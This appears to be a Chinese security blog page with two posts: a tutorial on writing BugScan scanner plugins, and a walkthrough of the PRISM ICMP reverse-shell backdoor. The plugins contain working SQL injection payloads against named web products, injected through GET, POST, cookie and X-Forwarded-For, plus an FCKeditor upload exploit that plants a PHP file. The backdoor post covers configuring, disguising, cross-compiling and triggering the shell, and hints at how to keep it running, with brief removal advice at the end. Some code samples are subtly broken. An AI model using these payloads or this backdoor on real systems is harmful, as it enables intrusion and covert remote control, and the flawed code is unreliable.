关于bugscan插件的写法

发布时间:April 26, 2015 // 分类:代码学习,python // No Comments

仅仅局限于web层次的,这里的使用的是curl方式进行的请求

根据给出的SDK,一个标准的插件的代码如下

#!/usr/bin/env python
# -*- coding: utf-8 -*-
#__Author__ = LinE
#_PlugName_ = Plugin Format
#_Function_ = 插件格式
#_FileName_ = Plugin_Format.py
######建议把之上的东西都带上,以便于辨认######
def assign(service, arg):
  if service == "service":  # 1. service字符串
    return True, arg 
def audit(arg):
  print "hello, world !"
  # 2.主体攻击代码部分
if __name__ == '__main__':
  from dummy import *
  audit(assign('service', 'http://www.example.com/')[1])
  # 3. service字符串
  # 4. http://www.example.com/ 字符串

在一些时候我们需要让插件像个正常访问者一样去请求网页

这就需要我们的插件具备HTTP通信的能力,而这里BugScan官方给出了curl类的curl函数,能够更加方便的取获取网页的信息

我们先看一下curl的帮助信息,中文版哦

    curl是一个使用纯Python编写的工具,只支持HTTP协议

命令行格式:
curl [-I | -d DATA] [-A USER_AGENT] [-b COOKIE]
   [--connect-timeout CONNECT_TIMEOUT] [-e REFERER]
   [-H HEADER] [-i] [-m MAX_TIME]
   [--max-filesize MAX_FILESIZE] [--mime-type MIME_TYPE]
   [-L] [--max-redirs MAX_REDIRS] [-T] [--retry RETRY]
   [--retry-delay RETRY_DELAY] [-u USER] [-X REQUEST]
    
     
--mime-type 参数表示指定一个MimeType,如果MimeType类型不对,curl将会抛出一个错误(找不到指定字符串类型)
curl函数执行以后会以元组形式返回5个值,我们可以使用5个变量去接收这5个返回值:
  code:返回HTTP状态码
  head:返回HTTP头
  body:返回HTTP内容,即HTML
  errcode :返回curl的状态码,代码随后解释
  final_url   :返回提交的URL
errcode状态码解释:
  0 : 返回正常
  1 : 不能连接目标URL
  2 : 连接超时
  3 : 返回异常
  4 : 发送异常
  5 : 发送数据包过大
  6 : 不能确定的主机
  7 : 不支持的协议
  8 : 参数错误
  9 : MimeType错误
一些举例:
  code, head, body, ecode, redirect_url = curl.curl('-L http://www.baidu.com')
  GET提交:
    curl.curl('http://www.abc.com/')
  带HEAD提交:
    curl.curl('-H http://www.abc.com/')
  POST提交:
    curl.curl('-d user=abc&pass=ddd http://www.abc.com/')
  PUT提交:
    curl.curl('T -d "Content to put" http://www.abc.com/')
  带Cookie提交:
    curl.curl('-b user=abc&pass=ddd http://www.abc.com/')
  带Referer提交:
    curl.curl('-e http://www.google.com/ http://www.abc.com/')
  重定向数据流:
    curl.curl('-L http://www.abc.com/')
curl会在获取网页内容的过程中自动去接收cookie,在进行第二次请求的时候将附加到HTTP头,如果想保持cookie为空,请使用curl.reset()

那么现在我们想让我们的插件去像个正常的访问者一样去访问百度,那么我们的代码可以这么写

#!/usr/bin/env python
code, head, body, errcode, final_url = curl.curl('http://www.baidu.com')

什么,你告诉我执行完了啥都没有? 当然啥都没有了,这个只是一个获取并赋值的过程,你见过你定义一个变量之后就返回变量值么? 如果我要显示内容,我们可以用print打印出来

#!/usr/bin/env python
code, head, body, errcode, final_url = curl.curl('http://www.baidu.com')
# 以下显示HTTP状态码
print '---------------code---------------'
print code
# 以下显示HTTP头
print '---------------code---------------'
print head
# 以下显示HTTP主体内容(HTML)
print '---------------code---------------'
print body
# 以下显示curl的状态码
print '-------------err code-------------'
print errcode
# 以下显示curl访问的URL
print '------------final_url-------------'
print final_url

这样我们就获取到了百度的主页内容,当然如果要像浏览器一样显示出来,我们还需要进行HTML解析和渲染,当然curl不具备此功能(一个命令行工具要求那么多作死啊)那么接下来我们带着一些参数去访问

#!/usr/bin/env python
# -*- coding: utf-8 -*-
#__Author__ = LinE
#_PlugName_ = Test Plugin
#_FileName_ = Test_Plugint.py
def assign(service, arg):
  if service == "www":  
    return True, arg 
def audit(arg):
  payload = 'readnews.asp?id=1 and 1=1' 
  # 注意这里的payload部分不需要在之前加入/,否则接下来的curl没办法正确识别url
  target = arg + payload
  code1, head, body1, errcode, final_url = curl.curl('"%s"', % arg)
  # 使用格式化输入,保证我们带入的字符串不被当做指令来执行
  code2, head, body2, errcode, final_url = curl.curl('"%s"', % target)
  #同上
  if code1 == 200 and code2 == 200 and body1 == body2 :
    # 判断加和不加payload的网页的HTTP状态码是否为200
    # 同时判断加和不加payload的网页的内容是否一样(and 1=1返回是否与原网页一样)
    print 'Find Vulnerability !' #打印信息
if __name__ == '__main__':
  from dummy import *
  audit(assign('www', 'http://www.test.com/')[1])

这样我们就完成了一个最基本的检测注入漏洞的插件,当然这个插件功能上有些弱

不过这个插件已经能说明一些问题了

木有错,给BugScan写插件就这么简单

这里我们的举例是GET方式的提交,那么POST方式的提交我们可以写成以下的样子

使用POST提交的时候curl的参数为 -d

#!/usr/bin/env python
# -*- coding: utf-8 -*-
#__Author__ = LinE
#_PlugName_ = Test Plugin
#_FileName_ = Test_Plugint.py
def assign(service, arg):
  if service == "www":  
    return True, arg 
def audit(arg):
  URL = 'check.asp' 
  POST_Data = 'username=admin&password=admin888'  #正常的POST数据
  payload = 'username=admin and 1=1&password=admin888'  #带有攻击语句的POST数据
  target = arg + payload
  code1, head, body1, errcode, final_url = curl.curl('"-d %s %s"' % (POST_Data, target))
  # 使用-d 参数带入POST数据
  # 使用格式化输入,保证我们带入的字符串不被当做指令来执行
  code2, head, body2, errcode, final_url = curl.curl('"-d %s %s"', % (payload, target))
  #同上
  if code1 == 200 and code2 == 200 and body1 == body2 :
    # 判断加和不加payload的网页的HTTP状态码是否为200
    # 同时判断加和不加payload的网页的内容是否一样(and 1=1返回是否与原网页一样)
    print 'Find Vulnerability !' #打印信息
if __name__ == '__main__':
  from dummy import *
  audit(assign('www', 'http://www.test.com/')[1])

我们也可以带着cookie提交

使用cookie提交的参数为 -b

#!/usr/bin/env python
# -*- coding: utf-8 -*-
#__Author__ = LinE
#_PlugName_ = Test Plugin
#_FileName_ = Test_Plugint.py
def assign(service, arg):
  if service == "www":  
    return True, arg 
def audit(arg):
  URL = 'main.asp' 
  cookie = 'sessionid=PHPSESSIONADMIN;username=admin;passcode=21232f297a57a5a743894a0e4a801fc3'  #cookie值
  target = arg + payload
  code, head, body, errcode, final_url = curl.curl('"-b %s %s"' % (POST_Data, target))
  # 使用-d 参数带入POST数据
  # 使用格式化输入,保证我们带入的字符串不被当做指令来执行
  #同上
  if code == 200 :
    print 'Find Vulnerability !' #打印信息
if __name__ == '__main__':
  from dummy import *
  audit(assign('www', 'http://www.test.com/')[1])

我们也可以同时带着多个参数去请求

#!/usr/bin/env python
# -*- coding: utf-8 -*-
#__Author__ = LinE
#_PlugName_ = Test Plugin
#_FileName_ = Test_Plugint.py
def assign(service, arg):
  if service == "www":  
    return True, arg 
def audit(arg):
  URL = 'main.asp' 
  cookie = 'sessionid=PHPSESSIONADMIN;username=admin;passcode=21232f297a57a5a743894a0e4a801fc3'  #cookie值
  POST = 'SQL=select username,password from admin'
  target = arg + payload
  code, head, body, errcode, final_url = curl.curl('"-b %s -d %s %s"' % (cookie, POST, target))
  # 使用-b 参数带入cookie数据
  # 使用-d 参数带入POST数据
  # 使用格式化输入,保证我们带入的字符串不被当做指令来执行
  #同上
  if code == 200 :
    print 'Find Vulnerability !' #打印信息
if __name__ == '__main__':
  from dummy import *
  audit(assign('www', 'http://www.test.com/')[1])

看了手册,我们来写几个简单的插件

1.GET方式请求的

#!/usr/bin/env python
# -*- coding: utf-8 -*-
def assign(service,arg):
    if service == "fangweituangou":#系统名称
        return True, arg
         
def audit(arg):
    payload = "index.php?m=Article&a=showByUname&uname=a%27and%20(select%201%20from%20(select%20count(*),concat(version(),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)%23"  #写入的进行请求的payload
    target = arg + payload
    code, head, res, errcode,finalurl =  curl.curl('"%s"', % target) #这里是GET请求
 
    if code == 200:
    if "for key 'group_key'" in res:    #匹配关键字
        security_hole('find sql injection: ' + arg+'index.php')
         
if __name__ == "__main__":
    from dummy import *
    audit(assign('fangweituangou', 'http://www.example.com/')[1])

2.POST方式进行的请求

#!/usr/bin/env python
# -*- coding: utf-8 -*-
def assign(service, arg):
    if service == "fangweituangou":
        return True, arg
         
def audit(arg):
    url = arg + "/m.php?m=User&a=doLogin"
    payload = "origURL=ghost&password=ghost&email=ghost%27and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)#"
    code, head, res, errcode,finalurl =  curl.curl('"-d %s %s"', % (payload, url)) 
    #curl target -d data 使用POST的方式传输值
    if code == 200:
        if res.find("for key 'group_key'") != -1:#匹配关键字
            security_hole('find sql injection: ' + url)
             
if __name__ == '__main__':
    from dummy import *
    audit(assign('fangweituangou', 'http://www.example.com/')[1])

3.带cookie的请求方式

#!/usr/bin/env python
# -*- coding: utf-8 -*-
 
def assign(service,arg):
    if service == "fangweituangou":
        return True, arg
 
def audit(arg):  
    payload = 'index.php'
    cookie = 'email=czoxOTE6IidBTkQgKFNFTEVDVCAxIEZST00oU0VMRUNUIENPVU5UKCopLENPTkNBVCgoU0VMRUNUIFNVQlNUUklORyhDT05DQVQoYWRtX25hbWUsMHg3YyxhZG1fcHdkLDB4N2MpLDEsNjApIEZST00gdDFfYWRtaW4gTElNSVQgMCwxKSxGTE9PUihSQU5EKDApKjIpKVggRlJPTSBpbmZvcm1hdGlvbl9zY2hlbWEudGFibGVzIEdST1VQIEJZIFgpYSkjIjs=;password=0;'
     
    target = arg + payload
    code, head, res, errcode, final_url = curl.curl('-b %s %s' % (cookie,target))
    #curl -b cookie target 使用cookie的方式传输值
    if code == 200:  
        if "[message] => MySQL Query Error" in res: #匹配关键字
            security_hole('find sql injection: ' + arg+'index.php')
 
if __name__ == "__main__":
    from dummy import *
    audit(assign('fangweituangou', 'http://www.example.com/')[1])

4.带HEAD提交:

curl.curl('-H http://www.abc.com/')

#!/usr/bin/env python
# -*- coding: utf-8 -*-
 
def assign(service,arg):
    if service == "ShopBuilder":
        return True, arg
 
def audit(arg):
    payload = "X-Forwarded-For:127.0.0.1' and extractvalue(1,concat(0x3a,md5(3.14),0x3a)) and '1"
    #自己定义一个X-Forwarded-For
    url = arg + 'index.php'
    code, head, res, errcode,finalurl =  curl.curl("-H \"%s\" %s" % (payload,url))
    #curl -H 带头部进行访问
    if code == 200 and '4beed3b9c4a886067de0e3a094246f7' in res:
        security_hole('find X-Forwarded-For sql inject::'+url)
 
if __name__ == "__main__":
    from dummy import *
    audit(assign('ShopBuilder', 'http://www.example.com/')[1])

5.上传的类型

#!/usr/bin/env python
# -*- coding: utf-8 -*-
#__author__ = 'ontheway'
import re
 
'''
fckeditor版本 <= 2.4.3
'''
def fck2_4_3(host):
    path = "editor/filemanager/upload/php/upload.php?Type=Media"
    data = "------WebKitFormBoundaryba3nn74V35zAYnAT\r\n"
    data += "Content-Disposition: form-data; name=\"NewFile\"; filename=\"ssdlh.php\"\r\n"
    data += "Content-Type: image/jpeg\r\n\r\n"
    data += "GIF89a<?php print(md5(521521));?>\r\n"
    data += "------WebKitFormBoundaryba3nn74V35zAYnAT--\r\n"
    head = "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryba3nn74V35zAYnAT\r\n"
    url = host + path
    code, head, body, ecode, redirect_url = curl.curl('-H \'%s\' -d \'%s\' %s' % (head,data,url))
    #因为上传,我们需要有POST数据的头部,还要有data的内容
    if code == 200:
        shell = re.findall("eted\(\d+,\"(.+?.php)\"",body)
        if shell:
            phpurl = util.urljoin(host, '../'+shell[0])
            code, head, body, ecode, redirect_url = curl.curl(phpurl)
            if code==200 and '35fd19fbe470f0cb5581884fa700610f' in body:
                security_hole('upload vulnerable:%s' % phpurl)
            else:
                security_info('maybe vulnerable:%s' % phpurl)
                 
  def assign(service, arg):
    if service == "fckeditor":
        return True, arg
 
 
def audit(arg):
    fck2_4_3(arg)

 

Linux下的ICMP反弹后门:PRISM

发布时间:April 23, 2015 // 分类:工作日志,代码学习,VC/C/C++,linux,转帖文章,python // No Comments

  搜索的时候无意中看见的这款基于ping的ICMP后门。于是到作者的github上看看,居然是阴文的,为了过级,只能强忍着看了,学生狗伤不起。还好比较简单易懂,正如简介说的一样:“PRISM is an user space stealth reverse shell backdoor, written in pure C.”

  项目地址:https://github.com/andreafabrizi/prism

  PRISM只有两个主文件,配置简单,能在LinuxSolaris、AIXBSD/Mac、Android等多个系统上运行,支持两种工作模式:ICMP 和 STATIC 模式。

ICMP模式

  使用这种模式的后门将会在后台等待特定的包含主机/端口连接信息ICMP数据包,通过私有密钥可以阻止第三方访问。后门进程接受ping包激活(总不会连ping包都不让过了靶>_<)

  首先,在攻击者的机器上运行netcat来等待后门进入的连接:

~$ nc -l -p 9999

   再使用sendPacket.py脚本(或其他数据包生成器,如nemesis-1.4)发送激活包到后门主机,以使后门主机反弹连接到主控机的指定端口:

./sendPacket.py 10.0.0.5 linger 10.0.0.10 9999
//10.0.0.5 远程主机(靶机)的IP地址
//linger 连接密码
//10.0.0.10 主控机IP地址
//9999 主控机连接端口

 STATIC模式

  使用这种模式,后门主机将会主动尝试连接到指定端口的的IP地址上,所以只要在指定IP上监听指定端口等待连接就可以了。但是,缺点很明显,很任意暴露攻击者的IP地址,而且使用不够灵活。

 $ nc -l -p [PORT] 

   当然,作为一款迷你级的后门木马。它还是有很多优点的:

  两种工作模式、运行时进程重命名、不会监听端口、自动清除iptables规则表、采用C语言编写(代码仅有200来行),所以不需要任何库支持。

配置prism后门

  编辑prism.c文件,修改宏定义部分:

 40 #ifdef STATIC
 41 # define REVERSE_HOST     "10.0.0.1"  //连接到主控机的IP地址
 42 # define REVERSE_PORT     19832   //连接到主控机的端口号
 43 # define RESPAWN_DELAY    15  //后门机尝试连接的空闲时间间隔
 44 #else
 45 # define ICMP_PACKET_SIZE 1024  //ICMP数据包的大小
 46 # define ICMP_KEY         "linger"  //连接的密码
 47 #endif
 48 
 49 #define VERSION          "0.5"   //版本信息
 50 #define MOTD             "PRISM v"VERSION" started\n\n# "  //后门机连接时显示的消息
 51 #define SHELL            "/bin/sh"  //shell执行的位置
 52 #define PROCESS_NAME     "udevd"   //创建的进程名称

 交叉编译prism后门

gcc <..OPTIONS..> -Wall -s -o prism prism.c

 可用的参数<OPTION>选项:

-DDETACH   //后台运行
-DSTATIC   //只用STATIC模式(默认是ICMP模式)
-DNORENAME   //不再重命名进程名
-DIPTABLES   //清除所有iptables规则表项

例如:

gcc -DDETACH -DNORENAME -Wall -s -o prism prism.c

不同平台下的交叉编译需要相关库文件:

Android平台:

apt-get install gcc-arm-linux-gnueabi
arm-linux-gnueabi-gcc -DSTATIC -DDETACH -DNORENAME -static -march=armv5 prism.c -o prism

Linux 64bit

apt-get install libc6-dev-amd64
gcc -DDETACH -m64 -Wall -s -o prism prism.c

Linux 32bit

apt-get install libc6-dev-i386
gcc -DDETACH -m32 -Wall -s -o prism prism.c

 编译好之后,可以查看后门的配置信息:

bubuko.com,布布扣

运行prism后门测试

  将该后门上传到远程后门主机,再使用sendPacket.py脚本(需以root运行)在本地发送激活包到后门主机,本地监听相关端口等待后门主机反弹连接:(这里要注意,最好时将prism.c文件上传到后门主机再进行编译,这样才更容易成功。)

bubuko.com,布布扣

  这对于采用了很多限制(比喻限制了SSH)远程服务器来说,使用该后门是不错的。而且prism服务端运行后会在后台一直运行,除非服务器重启。所以,后门开启后删除自身文件将不容易被发现。

简单讲解prism后门的清除

  首先,上面说了,该后门重启会失效,除非写在开机启动项里。所以攻击者想要继续留住后门,肯定会这样做,故首先要检查开机启动项里(比如/etc/rc.local,这可是root权限!)是否有未知启动脚本。联想起前段时间的BASH漏洞,有一个不错的思路是在cgi-bin里的某个脚本里作改变,当访问这个脚本时就可以触发这个prism后门,这样就可以不用之前的python脚本来触发了。厄,貌似这就讲到攻击了-_- 不管怎样,先得有点见识靶。搞不好还真有人会这样用呢。

  其次,虽然这个后门可以改变后门进程名,但是还是有进程存在,所以要查出这个未知进程。可以用工具查找,找到kill掉就OK了。

  最后,要设置好严格的iptables规则。该后门可以按攻击者的设置尝试清除iptables规则,所以要定期查看iptables规则是否改变。

  还有,该后门是使用ICMP协议的PING包激活的,SO,如果还真怕PRISM的会,那就过滤掉ICMP包靶,走着瞧靶v_v

  但是,站在攻击者的角度来看,想要防范prism后门还是比较难的。正如其作者所描述的那样:“No listening ports”,啥意思?就是想用啥端口连接都可以,额测试过了: ) 这么说来,貌似上上一条有失效了-_-

  所以,综上所属,最好的办法就是做好预防工作,防止被入侵。为啥?因为我是傻逼{-_-}

分类
最新文章
最近回复
  • 没穿底裤: 最近发现的新版本可以装在LINUX了。但是API有点变化
  • 没穿底裤: 暂时好像没有看到这个功能.
  • 没穿底裤: 这个只是一个分析,并不是使用方法哟
  • 没穿底裤: 抱歉,很久没有打理了。会不会你使用的是12版本。目前还没有遇到过这种情况
  • bao song: http://0cx.cc/php_decode_shell.jspx 这个怎么用,代码提示...